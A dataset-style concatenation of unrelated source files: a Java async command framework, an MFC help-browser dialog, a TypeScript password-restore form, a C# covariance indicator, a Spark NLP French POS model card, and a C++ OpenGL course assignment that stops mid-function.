text:
package cherry.foundation.async;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import org.springframework.jms.core.JmsOperations;
import org.springframework.jms.core.MessagePostProcessor;

import cherry.foundation.bizdtm.BizDateTime;
import cherry.goods.command.CommandLauncher;
import cherry.goods.command.CommandResult;

/**
 * 非同期実行フレームワーク。

 * 非同期にコマンドを実行する機能を提供する。
 */
public class AsyncCommandHandlerImpl implements AsyncCommandHandler {

	private static final String ASYNCID = "asyncId";
	private static final String COMMAND = "command";

	private BizDateTime bizDateTime;

	private AsyncProcessStore asyncProcessStore;

	private JmsOperations jmsOperations;

	private CommandLauncher commandLauncher;

	private MessagePostProcessor messagePostProcessor;

	public void setBizDateTime(BizDateTime bizDateTime) {
		this.bizDateTime = bizDateTime;
	}

	public void setAsyncProcessStore(AsyncProcessStore asyncProcessStore) {
		this.asyncProcessStore = asyncProcessStore;
	}

	public void setJmsOperations(JmsOperations jmsOperations) {
		this.jmsOperations = jmsOperations;
	}

	public void setCommandLauncher(CommandLauncher commandLauncher) {
		this.commandLauncher = commandLauncher;
	}

	public void setMessagePostProcessor(
			MessagePostProcessor messagePostProcessor) {
		this.messagePostProcessor = messagePostProcessor;
	}

	/**
	 * 非同期のコマンド実行を実行登録する。
	 *
	 * @param launcherId
	 *            非同期処理の実行者のID。
	 * @param description
	 *            内容表記。
	 * @param command
	 *            実行するコマンド。
	 * @param args
	 *            引数。
	 * @return 非同期実行状況の管理データのID。
	 */
	@Override
	public long launchCommand(String launcherId, String description,
			String command, String... args) {

		long asyncId = asyncProcessStore.createCommand(launcherId,
				bizDateTime.now(), description, command, args);

		Map<String, String> message = new HashMap<>();
		message.put(ASYNCID, String.valueOf(asyncId));
		message.put(COMMAND, command);
		for (int i = 0; i < args.length; i++) {
			message.put(String.valueOf(i), args[i]);
		}
		jmsOperations.convertAndSend(message, messagePostProcessor);

		asyncProcessStore.updateToLaunched(asyncId, bizDateTime.now());
		return asyncId;
	}

	/**
	 * 実行登録したコマンドを実行する。

	 * 本メソッドはコンテナが呼出すことを意図するものである。
	 *
	 * @param message
	 *            {@link #launchCommand(String, String...)}
	 *            において登録した内容がコンテナから受渡される。
	 */
	@Override
	public void handleMessage(Map<String, String> message) {

		long asyncId = Long.parseLong(message.get(ASYNCID));
		List<String> cmdline = new ArrayList<>();
		cmdline.add(message.get(COMMAND));
		for (int i = 0;; i++) {
			String v = message.get(String.valueOf(i));
			if (v == null) {
				break;
			}
			cmdline.add(v);
		}

		asyncProcessStore.updateToProcessing(asyncId, bizDateTime.now());
		try {

			CommandResult result = commandLauncher.launch(cmdline
					.toArray(new String[cmdline.size()]));

			AsyncStatus status;
			if (result.getExitValue() == 0) {
				status = AsyncStatus.SUCCESS;
			} else {
				status = AsyncStatus.ERROR;
			}

			asyncProcessStore.finishCommand(asyncId, bizDateTime.now(), status,
					result);
		} catch (Exception ex) {
			asyncProcessStore.finishWithException(asyncId, bizDateTime.now(),
					ex);
		}
	}

}


text:
// IHelp.cpp : implementation file
/*********************************************************************/
/*         Copyright (c) 2003-2006  DynoMotion Incorporated          */
/*********************************************************************/

#include "stdafx.h"
#include "EXDISP.H"
#include "IHelp.h"
#include "MainFrm.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CIHelp dialog

CIHelp::CIHelp(CWnd* pParent /*=NULL*/)
	: CDlgX(pParent)
{
	//{{AFX_DATA_INIT(CIHelp)
		// NOTE: the ClassWizard will add member initialization here
	//}}AFX_DATA_INIT
}

void CIHelp::DoDataExchange(CDataExchange* pDX)
{

	CDlgX::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CIHelp)
	DDX_Control(pDX, IDC_EXPLORER1, m_Web);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CIHelp, CDlgX)
	//{{AFX_MSG_MAP(CIHelp)
	ON_BN_CLICKED(IDC_Back, OnBack)
	ON_BN_CLICKED(IDC_Forward, OnForward)
	ON_BN_CLICKED(IDC_PrintBrowser, OnPrintBrowser)
	ON_WM_PAINT()
	ON_BN_CLICKED(IDC_Contents, OnContents)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CIHelp message handlers

void CIHelp::OnBack()
{
	m_Web.GoBack();
}

void CIHelp::OnForward()
{
	m_Web.GoForward();
}

void CIHelp::OnPrintBrowser()
{
	LPDISPATCH lpDispatch = NULL;
	LPOLECOMMANDTARGET lpOleCommandTarget = NULL;

	lpDispatch = m_Web.GetDocument();
	ASSERT(lpDispatch);

	lpDispatch->QueryInterface(IID_IOleCommandTarget, (void**)&lpOleCommandTarget);
	ASSERT(lpOleCommandTarget);

	lpDispatch->Release();

	// Print contents of WebBrowser control.
	lpOleCommandTarget->Exec(NULL, OLECMDID_PRINT, 0, NULL,NULL);
	lpOleCommandTarget->Release();
}

BEGIN_EVENTSINK_MAP(CIHelp, CDlgX)
    //{{AFX_EVENTSINK_MAP(CIHelp)
	ON_EVENT(CIHelp, IDC_EXPLORER1, 105 /* CommandStateChange */, OnCommandStateChangeExplorer1, VTS_I4 VTS_BOOL)
	//}}AFX_EVENTSINK_MAP
END_EVENTSINK_MAP()

void CIHelp::OnCommandStateChangeExplorer1(long Command, BOOL Enable)
{
	switch(Command)
    {
		case CSC_NAVIGATEFORWARD:
           // m_ctlForward is a CButton type
           m_Forward.EnableWindow(Enable);
           break;

		case CSC_NAVIGATEBACK:
           m_Back.EnableWindow(Enable);
           break;

       default:
           break;
      }
}

void CIHelp::OnPaint()
{
	RECT rect;

	if (InitDialogComplete)  // save the dialog window position
	{
        GetClientRect(&rect);
		m_Web.MoveWindow( 0, 30, rect.right, rect.bottom-30);
		m_Web.UpdateWindow();
	}
	CDlgX::OnPaint();
}

int CIHelp::Show(CString s)
{
    COleVariant noArg;

	CString Path = TheFrame->MainPath + "\\Help\\" + s;

	if (m_hWnd)
		BringWindowToTop();
	else
		Create(IDD_Help,TheFrame);

	// Set To the desired URL.

    m_Web.Navigate(Path,&noArg,&noArg,&noArg,&noArg);

	InvalidateRect(NULL,FALSE);
	return 0;
}

void CIHelp::OnContents()
{
	Show(Contents);
}

#define ACCESS  (KEY_WRITE | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS)
#define Name "Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl\\FEATURE_BROWSER_EMULATION"

int CIHelp::TryToSetIEVersionToUse(int Version, bool Silent)
{
	static bool FirstTime = true;

	if (FirstTime)  // Only try this once
	{
		FirstTime = false;

		HKEY key;
		long dwErrorCode = ::RegOpenKeyEx(HKEY_CURRENT_USER, Name, 0, ACCESS | KEY_WOW64_32KEY, &key);

		if (dwErrorCode == ERROR_ACCESS_DENIED)
		{
			if (!Silent) AfxMessageBox("Can't Set IE Emulation Version for Help to work properly - Access Denied");
			return 1;
		}

		if (dwErrorCode != ERROR_SUCCESS)
		{
			if (!Silent) AfxMessageBox("Can't Set IE Emulation Version for Help to work properly");
			return 1;
		}

		DWORD nValue = Version;
		DWORD dwBufferSize;
		DWORD nResult=0;
		LONG nError = ::RegQueryValueEx(key, "KMotionCNC.exe", 0, NULL, (LPBYTE)&nResult, &dwBufferSize);

		if (ERROR_SUCCESS == nError)
		{
			// it exists - leave it alone
			nValue = nResult;
		}
		else
		{
			// doesn't exist try to add it
			if (ERROR_SUCCESS != RegCreateKeyEx(HKEY_CURRENT_USER, (CString)Name, 0L, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_32KEY, NULL, &key, NULL))
			{
				if (!Silent) AfxMessageBox("Can't Set IE Emulation Version for Help to work properly");
				return 1;
			}

			CString Executable;
			GetModuleFileName(NULL, Executable.GetBuffer(MAX_PATH), MAX_PATH);
			Executable.ReleaseBuffer();

			// Figure out our executable name to make the key with

			// Avoid strange relative paths
			CString s;
			_fullpath(s.GetBufferSetLength(MAX_PATH), Executable, MAX_PATH);
			s.ReleaseBuffer();

			s.Replace("\"", "");  // remove quotes
			s.TrimRight();
			s.TrimLeft();

			int LastSlash = s.ReverseFind('\\');

			if (LastSlash == -1)
			{
				if (!Silent) AfxMessageBox("Can't Set IE Emulation Version for Help to work properly");
				return 1;
			}

			s = s.Right(s.GetLength()-LastSlash-1);

			if (ERROR_SUCCESS != RegSetValueEx(key, s, 0, REG_DWORD, (const BYTE*)&nValue, sizeof(nValue)))
			{
				if (!Silent) AfxMessageBox("Can't Set IE Emulation Version for Help to work properly");
				return 1;
			}
		}

		RegCloseKey(key);
	}
	return 0;
}

BOOL CIHelp::OnInitDialog()
{
	CDlgX::OnInitDialog();

	TryToSetIEVersionToUse(0x9000, true);  // try and set the Version to use silently

	m_BUTTON_Close.AutoLoad(IDOK, this);
	m_BUTTON_Print.AutoLoad(IDC_PrintBrowser, this);
	m_Forward.AutoLoad(IDC_Forward, this);
	m_Contents.AutoLoad(IDC_Contents, this);
	m_Back.AutoLoad(IDC_Back, this);

	return TRUE;  // return TRUE unless you set the focus to a control
	              // EXCEPTION: OCX Property Pages should return FALSE
}

redpajama_set_name: RedPajamaGithub


text:
import { BaseForm, FormValidationError } from '../../../shared/index';

export class RestorePasswordForm extends BaseForm {

    constructor(username: string, lostPasswordToken: string) {
        super(false, {'username' : username, 'lostPasswordToken': lostPasswordToken});
    }

    get username() {
        return this._doGetFormValue('username');
    }

    set username(username : string) {
        this._doSetFormValue('username', username);
    }

    get lostPasswordToken() {
        return this._doGetFormValue('lostPasswordToken');
    }

    set lostPasswordToken(lostPasswordToken : string) {
        this._doSetFormValue('lostPasswordToken', lostPasswordToken);
    }

    get newPassword() {
        return this._doGetFormValue('newPassword');
    }

    set newPassword(newPassword : string) {
        this._doSetFormValue('newPassword', newPassword);
    }

    get newPasswordConfirm() {
        return this._doGetFormValue('newPassword');
    }

    set newPasswordConfirm(newPasswordConfirm : string) {
        this._doSetFormValue('newPasswordConfirm', newPasswordConfirm);
    }

    protected _doAdditionalValidationOnField(fieldName : string, value : any) : FormValidationError[] {
        let errors : FormValidationError[] = [];

        // password must match
        let fieldNameToCompare : string = null;
        if(fieldName === 'newPassword') {
            fieldNameToCompare = 'newPasswordConfirm';
        } else if(fieldName === 'newPasswordConfirm') {
            fieldNameToCompare = 'newPassword';
        }

        if(fieldNameToCompare) {
            let areSame = this._doPasswordMatchValidation(fieldName, value, fieldNameToCompare);
            if(!areSame) {
                errors.push(new FormValidationError('1x0000', 'Password do not match.'));
            }
        }

        return errors;
    }
}


text:
#region S# License

#endregion S# License
namespace StockSharp.Algo.Indicators
{
	using System;
	using System.ComponentModel;

	using StockSharp.Localization;

	/// <summary>
	/// Covariance.
	/// </summary>
	/// <remarks>
	/// https://en.wikipedia.org/wiki/Covariance.
	/// </remarks>
	[DisplayName("COV")]
	[DescriptionLoc(LocalizedStrings.CovarianceKey, true)]
	[IndicatorIn(typeof(PairIndicatorValue<decimal>))]
	public class Covariance : LengthIndicator<Tuple<decimal, decimal>>
	{
		/// <summary>
		/// Initializes a new instance of the <see cref="Covariance"/>.
		/// </summary>
		public Covariance()
		{
			Length = 20;
		}

		/// <inheritdoc />
		protected override IIndicatorValue OnProcess(IIndicatorValue input)
		{
			var value = input.GetValue<Tuple<decimal, decimal>>();

			Buffer.Add(value);

			Tuple<decimal, decimal> first = null;

			if (input.IsFinal)
			{
				if (Buffer.Count > Length)
					Buffer.RemoveAt(0);
			}
			else
			{
				if (Buffer.Count > Length)
				{
					first = Buffer[0];
					Buffer.RemoveAt(0);
				}
			}

			decimal avgSource = 0;
			decimal avgOther = 0;

			foreach (var tuple in Buffer)
			{
				avgSource += tuple.Item1;
				avgOther += tuple.Item2;
			}

			var len = Buffer.Count;

			avgSource /= len;
			avgOther /= len;

			var covariance = 0m;

			foreach (var tuple in Buffer)
			{
				covariance += (tuple.Item1 - avgSource) * (tuple.Item2 - avgOther);
			}

			if (!input.IsFinal)
			{
				if (first != null)
					Buffer.Insert(0, first);

				Buffer.RemoveAt(len - 1);
			}

			return new DecimalIndicatorValue(this, covariance / len);
		}
	}
}


text:
layout: model
title: Part of Speech UD model for French (pos_gsd)
author: John Snow Labs
name: pos_gsd
date: 2022-04-01
tags: [open_source, universal_dependency, pos, part_of_speech, fr, french]
task: Part of Speech Tagging
language: fr
edition: Spark NLP 3.4.3
spark_version: 3.0
supported: true
article_header:
type: cover
use_language_switcher: "Python-Scala-Java"
---

## Description

Pretrained Part of Speech model (`pos_gsd`) trained on Universal Dependencies 2.9 (UD_French-GSD) in French language.

{:.btn-box}
<button class="button button-orange" disabled>Live Demo</button>
[Open in Colab](https://github.com/JohnSnowLabs/spark-nlp-workshop/blob/master/tutorials/streamlit_notebooks/GRAMMAR_EN.ipynb){:.button.button-orange.button-orange-trans.co.button-icon}
[Download](https://s3.amazonaws.com/auxdata.johnsnowlabs.com/public/models/pos_gsd_fr_3.4.3_3.0_1648797867335.zip){:.button.button-orange.button-orange-trans.arr.button-icon}

## How to use

<div class="tabs-box" markdown="1">
{% include programmingLanguageSelectScalaPythonNLU.html %}
```python

document = DocumentAssembler()\
.setInputCol("text")\
.setOutputCol("document")

sentence = SentenceDetectorDLModel.pretrained("sentence_detector_dl", "xx")\
.setInputCols(["document"])\
.setOutputCol("sentence")

tokenizer = Tokenizer()\
.setInputCols(["sentence"])\
.setOutputCol("token")

pos = PerceptronModel.pretrained("pos_gsd", "fr")\
.setInputCols(["sentence", "token"])\
.setOutputCol("pos")

pipeline = Pipeline(stages=[document, sentence, tokenizer, pos])

data = spark.createDataFrame([["I love Spark NLP"]]).toDF("text")

result = pipeline.fit(data).transform(data)

```
```scala

val document = new DocumentAssembler()
.setInputCol("text")
.setOutputCol("document")

val sentence = SentenceDetectorDLModel.pretrained("sentence_detector_dl", "xx")
.setInputCols("document")
.setOutputCol("sentence")

val tokenizer = new Tokenizer()
.setInputCols("sentence")
.setOutputCol("token")

val pos = PerceptronModel.pretrained("pos_gsd", "fr")
.setInputCols("sentence", "token")
.setOutputCol("pos")

val pipeline = new Pipeline().setStages(Array(document, sentence, tokenizer, pos))

val data = Seq("I love Spark NLP").toDF("text")

val result = pipeline.fit(data).transform(data)
```

{:.nlu-block}
```python
import nlu
nlu.load("fr.pos.gsd").predict("""I love Spark NLP""")
```

</div>

{:.model-param}
## Model Information

{:.table-model}
|---|---|
|Model Name:|pos_gsd|
|Compatibility:|Spark NLP 3.4.3+|
|License:|Open Source|
|Edition:|Official|
|Input Labels:|[sentence, form]|
|Output Labels:|[pos]|
|Language:|fr|
|Size:|2.7 MB|

## References

Model is trained on Universal Dependencies (treebank 2.9) `UD_French-GSD`

[https://github.com/UniversalDependencies/UD_French-GSD](https://github.com/UniversalDependencies/UD_French-GSD)


text:
using namespace std; // for string, vector, iostream, and other standard C++ stuff
using namespace tr1; // for shared_ptr

// G L O B A L S ///////////////////////////////////////////////////

// --------- IMPORTANT --------------------------------------------------------
// Before you start working on this assignment, set the following variable
// properly to indicate whether you want to use OpenGL 2.x with GLSL 1.0 or
// OpenGL 3.x+ with GLSL 1.3.
//
// Set g_Gl2Compatible = true to use GLSL 1.0 and g_Gl2Compatible = false to
// use GLSL 1.3. Make sure that your machine supports the version of GLSL you
// are using. In particular, on Mac OS X currently there is no way of using
// OpenGL 3.x with GLSL 1.3 when GLUT is used.
//
// If g_Gl2Compatible=true, shaders with -gl2 suffix will be loaded.
// If g_Gl2Compatible=false, shaders with -gl3 suffix will be loaded.
// To complete the assignment you only need to edit the shader files that get
// loaded
// ----------------------------------------------------------------------------
static const bool g_Gl2Compatible = true;

static const float g_frustMinFov = 60.0;  // A minimal of 60 degree field of view
static float g_frustFovY = g_frustMinFov; // FOV in y direction (updated by updateFrustFovY)

static const float g_frustNear = -0.1;    // near plane
static const float g_frustFar = -50.0;    // far plane
static const float g_groundY = -2.0;      // y coordinate of the ground
static const float g_groundSize = 10.0;   // half the ground length

static int g_windowWidth = 512;
static int g_windowHeight = 512;
static bool g_mouseClickDown = false;    // is the mouse button pressed
static bool g_mouseLClickButton, g_mouseRClickButton, g_mouseMClickButton;
static int g_mouseClickX, g_mouseClickY; // coordinates for mouse click event

static int affectedObject = 1; // start with one of the boxes
static int viewpoint = 0; // start looking through camera

struct ShaderState {
  GlProgram program;

  // Handles to uniform variables
  GLint h_uProjMatrix;
  GLint h_uModelViewMatrix;
  GLint h_uColor;
  GLint h_uTexUnit0;

  // Handles to vertex attributes
  GLint h_aPosition;
  GLint h_aTexCoord0;

  ShaderState(const char* vsfn, const char* fsfn) {
    readAndCompileShader(program, vsfn, fsfn);

    const GLuint h = program; // short hand

    // Retrieve handles to uniform variables
    h_uProjMatrix = safe_glGetUniformLocation(h, "uProjMatrix");
    h_uModelViewMatrix = safe_glGetUniformLocation(h, "uModelViewMatrix");
    h_uColor = safe_glGetUniformLocation(h, "uColor");
    h_uTexUnit0 = safe_glGetUniformLocation(h, "uTexUnit0");

    // Retrieve handles to vertex attributes
    h_aPosition = safe_glGetAttribLocation(h, "aPosition");
    h_aTexCoord0 = safe_glGetAttribLocation(h, "aTexCoord0");

    if (!g_Gl2Compatible)
      glBindFragDataLocation(h, 0, "fragColor");
    checkGlErrors();
  }

};

static const char * const g_shaderFiles[2] =
  {"./shaders/basic-gl3.vshader", "./shaders/textured-gl3.fshader"};
static const char * const g_shaderFilesGl2[2] =
  {"./shaders/basic-gl2.vshader", "./shaders/textured-gl2.fshader"};

static shared_ptr<ShaderState>  g_shaderState; // our global shader state

static shared_ptr<GlTexture> g_tex0, g_tex1; // our global texture instance

// --------- Geometry

// Macro used to obtain relative offset of a field within a struct
#define FIELD_OFFSET(StructType, field) &(((StructType *)0)->field)

// A vertex with floating point Position, Normal, and one set of teXture coordinates;
// We won't use normals for Project #2, but we will need them later.
struct VertexPNX {
  Cvec3f p, n; // position and normal vectors
  Cvec2f x; // texture coordinates

  VertexPNX() {}

  VertexPNX(float x, float y, float z,
            float nx, float ny, float nz,
            float u, float v)
    : p(x,y,z), n(nx, ny, nz), x(u, v)
  {}

  VertexPNX(const Cvec3f& pos, const Cvec3f& normal, const Cvec2f& texCoords)
    :  p(pos), n(normal), x(texCoords) {}

  VertexPNX(const Cvec3& pos, const Cvec3& normal, const Cvec2& texCoords)
    : p(pos[0], pos[1], pos[2]), n(normal[0], normal[1], normal[2]), x(texCoords[0], texCoords[1]) {}

  // Define copy constructor and assignment operator from GenericVertex so we can
  // use make* functions from geometrymaker.h
  VertexPNX(const GenericVertex& v) {
    *this = v;
  }

  VertexPNX& operator = (const GenericVertex& v) {
    p = v.pos;
    n = v.normal;
    x = v.tex;
    return *this;
  }
};

struct Geometry {
  GlBufferObject vbo, ibo;
  int vboLen, iboLen;

  Geometry(VertexPNX *vtx, unsigned short *idx, int vboLen, int iboLen) {
    this->vboLen = vboLen;
    this->iboLen = iboLen;

    // Now create the VBO and IBO
    glBindBuffer(GL_ARRAY_BUFFER, vbo);
    glBufferData(GL_ARRAY_BUFFER, sizeof(VertexPNX) * vboLen, vtx, GL_STATIC_DRAW);

    glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, ibo);
    glBufferData(GL_ELEMENT_ARRAY_BUFFER, sizeof(unsigned short) * iboLen, idx, GL_STATIC_DRAW);
  }

  void draw(const ShaderState& curSS) {
    // Enable the attributes used by our shader
    safe_glEnableVertexAttribArray(curSS.h_aPosition);
    safe_glEnableVertexAttribArray(curSS.h_aTexCoord0);

    // bind vbo
    glBindBuffer(GL_ARRAY_BUFFER, vbo);
    safe_glVertexAttribPointer(curSS.h_aPosition, 3, GL_FLOAT, GL_FALSE, sizeof(VertexPNX), FIELD_OFFSET(VertexPNX, p));
    safe_glVertexAttribPointer(curSS.h_aTexCoord0, 2, GL_FLOAT, GL_FALSE, sizeof(VertexPNX), FIELD_OFFSET(VertexPNX, x));

    // bind ibo
    glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, ibo);

    // draw!
    glDrawElements(GL_TRIANGLES, iboLen, GL_UNSIGNED_SHORT, 0);

    // Disable the attributes used by our shader
    safe_glDisableVertexAttribArray(curSS.h_aPosition);
    safe_glDisableVertexAttribArray(curSS.h_aTexCoord0);
  }
};

// Vertex buffer and index buffer associated with the ground and cube geometry
static shared_ptr<Geometry> g_ground, g_cube;

// --------- Scene

static Matrix4 g_skyRbt = Matrix4::makeTranslation(Cvec3(0.0, 0.25, 4.0));
static Matrix4 g_objectRbt[3] = {g_skyRbt,Matrix4::makeTranslation(Cvec3(-1,0,0)), Matrix4::makeTranslation(Cvec3(1,0,0))};
static Cvec3f g_objectColors[2] = {Cvec3f(1, 1, 1),Cvec3f(0, 0, 0)};

///////////////// END OF G L O B A L S //////////////////////////////////////////////////

static void initGround() {
  // A x-z plane at y = g_groundY of dimension [-g_groundSize, g_groundSize]^2
  VertexPNX vtx[4] = {
    VertexPNX(-g_groundSize, g_groundY, -g_groundSize, 0, 1, 0, 0, 0),
    VertexPNX(-g_groundSize, g_groundY,  g_groundSize, 0, 1, 0, 0, 1),
    VertexPNX( g_groundSize, g_groundY,  g_groundSize, 0, 1, 0, 1, 1),
    VertexPNX( g_groundSize, g_groundY, -g_groundSize, 0, 1, 0, 1, 0),
  };
  unsigned short idx[] = {0, 1, 2, 0, 2, 3};
  g_ground.reset(new Geometry(&vtx[0], &idx[0], 4, 6));
}

static void initCubes() {
  int ibLen, vbLen;
  getCubeVbIbLen(vbLen, ibLen);

  // Temporary storage for cube geometry
  vector<VertexPNX> vtx(vbLen);
  vector<unsigned short> idx(ibLen);

  makeCube(1, vtx.begin(), idx.begin());
  g_cube.reset(new Geometry(&vtx[0], &idx[0], vbLen, ibLen));
}

// takes a projection matrix and send to the the shaders
static void sendProjectionMatrix(const ShaderState& curSS, const Matrix4& projMatrix) {
  GLfloat glmatrix[16];
  projMatrix.writeToColumnMajorMatrix(glmatrix); // send projection matrix
  safe_glUniformMatrix4fv(curSS.h_uProjMatrix, glmatrix);
}

// takes model view matrix to the shaders
static void sendModelViewMatrix(const ShaderState& curSS, const Matrix4& MVM) {
  GLfloat glmatrix[16];
  MVM.writeToColumnMajorMatrix(glmatrix); // send MVM
  safe_glUniformMatrix4fv(curSS.h_uModelViewMatrix, glmatrix);
}

// update g_frustFovY from g_frustMinFov, g_windowWidth, and g_windowHeight
static void updateFrustFovY() {
  if (g_windowWidth >= g_windowHeight)
    g_frustFovY = g_frustMinFov;
  else {
    const double RAD_PER_DEG = 0.5 * CS175_PI/180;
    g_frustFovY = atan2(sin(g_frustMinFov * RAD_PER_DEG) * g_windowHeight / g_windowWidth, cos(g_frustMinFov * RAD_PER_DEG)) / RAD_PER_DEG;
  }
}

static Matrix4 makeProjectionMatrix() {
  return Matrix4::makeProjection(
           g_frustFovY, g_windowWidth / static_cast <double> (g_windowHeight),
           g_frustNear, g_frustFar);
}

static void drawStuff() {
  // short hand for current shader state
  const ShaderState& curSS = *g_shaderState;

  // build & send proj. matrix to vshader
  const Matrix4 projmat = makeProjectionMatrix();
  sendProjectionMatrix(curSS, projmat);

  // use the skyRbt as the eyeRbt
  const Matrix4 eyeRbt = g_objectRbt[viewpoint]; // eye is the first object now
  const Matrix4 invEyeRbt = inv(eyeRbt);

  // draw ground
  // ===========
  //
  const Matrix4 groundRbt = Matrix4();  // identity
  Matrix4 MVM = invEyeRbt * groundRbt;
  sendModelViewMatrix(curSS, MVM);
  safe_glUniform3f(curSS.h_uColor, 0.1, 0.95, 0.1); // set color
  safe_glUniform1i(curSS.h_uTexUnit0, 0); // texture unit 0 for ground
  g_ground->draw(curSS);

  // draw cubes
  // ==========
  MVM = invEyeRbt * g_objectRbt[1];
  sendModelViewMatrix(curSS, MVM);
  safe_glUniform3f(curSS.h_uColor, g_objectColors[0][0], g_objectColors[0][1], g_objectColors[0][2]);
  safe_glUniform1i(curSS.h_uTexUnit0, 1); // texture unit 1 for cube
  g_cube->draw(curSS);

  MVM = invEyeRbt * g_objectRbt[2];
  sendModelViewMatrix(curSS, MVM);
  safe_glUniform3f(curSS.h_uColor, g_objectColors[1][0], g_objectColors[1][1], g_objectColors[1][2]);
  safe_glUniform1i(curSS.h_uTexUnit0, 1); // texture unit 1 for cube
  g_cube->draw(curSS);
}

static void display() {
  glUseProgram(g_shaderState->program);
  glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);                   // clear framebuffer color&depth

  drawStuff();

  glutSwapBuffers();                                    // show the back buffer (where we rendered stuff)

  checkGlErrors();
}

static void reshape(const int w, const int h) {
  g_windowWidth = w;
  g_windowHeight = h;
  glViewport(0, 0, w, h);
  cerr << "Size of window is now " << w << "x" << h << endl;
  updateFrustFovY();
  glutPostRedisplay();
}

static void motion(const int x, const int y) {
  const double dx = x - g_mouseClickX;
  const double dy = g_windowHeight - y - 1 - g_mouseClickY;

  Matrix4 m;
  if (g_mouseLClickButton && !g_mouseRClickButton) { // left button down?
    m = Matrix4::makeXRotation(-dy) * Matrix4::makeYRotation(dx);
  }
  else if (g_mouseRClickButton && !g_mouseLClickButton) { // right button down?
    m = Matrix4::makeTranslation(Cvec3(dx, dy, 0) * 0.01);
  }
  else if (g_mouseMClickButton || (g_mouseLClickButton && g_mouseRClickButton)) {  // middle or (left and right) button down?
    m = Matrix4::makeTranslation(Cvec3(0, 0, -dy) * 0.01);
  }

  if (g_mouseClickDown) {

    Matrix4 relative_matrix;
    relative_matrix = transFact(g_objectRbt[affectedObject]) * linFact(g_objectRbt[viewpoint]);

    g_objectRbt[affectedObject] = relative_matrix * m * inv(relative_matrix) * g_objectRbt[affectedObject]; // Caddywonderful!
    glutPostRedisplay(); // we always redraw if we changed the scene
  }

  g_mouseClickX = x;
  g_mouseClickY = g_windowHeight - y - 1;
}

static void mouse(const int button, const int state, const int x, const int y) {
  g_mouseClickX = x;
  g_mouseClickY = g_windowHeight - y - 1;  // conversion from GLUT window-coordinate-system to OpenGL window-coordinate-system

  g_mouseLClickButton |= (button == GLUT_LEFT_BUTTON && state == GLUT_DOWN);
  g_mouseRClickButton |= (button == GLUT_RIGHT_BUTTON && state == GLUT_DOWN);
  g_mouseMClickButton |= (button == GLUT_MIDDLE_BUTTON && state == GLUT_DOWN);

  g_mouseLClickButton &= !(button == GLUT_LEFT_BUTTON && state == GLUT_UP);
  g_mouseRClickButton &= !(button == GLUT_RIGHT_BUTTON && state == GLUT_UP);
  g_mouseMClickButton &= !(button == GLUT_MIDDLE_BUTTON && state == GLUT_UP);

  g_mouseClickDown = g_mouseLClickButton || g_mouseRClickButton || g_mouseMClickButton;
}

static void keyboard(const unsigned char key, const int x, const int y) {
  switch (key) {
  case 27:
    exit(0);                                  // ESC
  case 'h':
    cout << " ============== H E L P ==============\n\n"
    << "h\t\thelp menu\n"
    << "s\t\tsave screenshot\n"
    << "o\t\tCycle object to manipulate\n"
    << "v\t\tCycle view\n"
    << "m\t\tToggle Sky-Sky or World-Sky when manipulating sky\n"
    << "drag left mouse to rotate\n"
    << "drag middle mouse to translate in/out \n"
    << "drag right mouse to translate up/down/left/right\n"
    << endl;
    break;
  case 's':
    glFlush();
    writePpmScreenshot(g_windowWidth, g_windowHeight, "out.ppm");
    cout << "Screenshot written to out.ppm." << endl;
    break;
  case 'o':
    affectedObject = (affectedObject + 1) % 3;
    cout << "Object cycled!" << endl;
    if (affectedObject == 0 && viewpoint != 0) {
      affectedObject = (affectedObject + 1) % 3;
      cout << "Cannot move the camera while it isn't the viewpoint!" << endl;
    }
    break;
  case 'v':
    viewpoint = (viewpoint + 1) % 3;
    cout << "Viewpoint cycled!" << endl;
    if (affectedObject == 0 && viewpoint != 0) {
      affectedObject = (affectedObject + 1) % 3;
      cout << "Cannot move the camera while it isn't the viewpoint!" << endl;
    }
    break;
  case 'd':
    Matrix4 asdf = linFact(g_objectRbt[0]);
    cout << "[" << asdf(0,0)
      << ' ' << asdf(0,1)
      << ' ' << asdf(0,2)
      << ' ' << asdf(0,3)
      << "]" << endl;
    cout << "[" << asdf(1,0)
      << ' ' << asdf(1,1)
      << ' ' << asdf(1,2)
      << ' ' << asdf(1,3)
      << "]" << endl;
    cout << "[" << asdf(2,0)
      << ' ' << asdf(2,1)
      << ' ' << asdf(2,2)
      << ' ' << asdf(2,3)
      << "]" << endl;
    cout << "[" << asdf(3,0)
      << ' ' << asdf(3,1)
      << ' ' << asdf(3,2)
      << ' ' << asdf(3,3)
      << "]" << endl;
  }
  glutPostRedisplay();
}

static void initGlutState(int argc, char * argv[]) {
  glutInit(&argc, argv);                                  // initialize Glut based on cmd-line args
  glutInitDisplayMode(GLUT_RGBA|GLUT_DOUBLE|GLUT_DEPTH);  //  RGBA pixel channels and double buffering
  glutInitWindowSize(g_windowWidth, g_windowHeight);      // create a window
  glutCreateWindow("CS-150: Project 2");                  // title the window

  glutDisplayFunc(display);                               // display rendering callback
  glutReshapeFunc(reshape);                               // window reshape callback
  glutMotionFunc(motion);                                 // mouse movement callback
  glutMouseFunc(mouse);                                   // mouse click callback
  glutKeyboardFunc(keyboard);
}

static void initGLState() {
  glClearColor(128./255., 200./255., 255./255., 0.);
  glClearDepth(0.);
  glPixelStorei(GL_UNPACK_ALIGNMENT, 1);
  glPixelStorei(GL_PACK_ALIGNMENT, 1);
  glCullFace(GL_BACK);
  glEnable(GL_CULL_FACE);
  glEnable(GL_DEPTH_TEST);
  glDepthFunc(GL_GREATER);
  glReadBuffer(GL_BACK);
  if (!g_Gl2Compatible)
    glEnable(GL_FRAMEBUFFER_SRGB);
}

static void initShaders() {
    if (g_Gl2Compatible)
      g_shaderState.reset(new ShaderState(g_shaderFilesGl2[0], g_shaderFilesGl2[1]));
    else
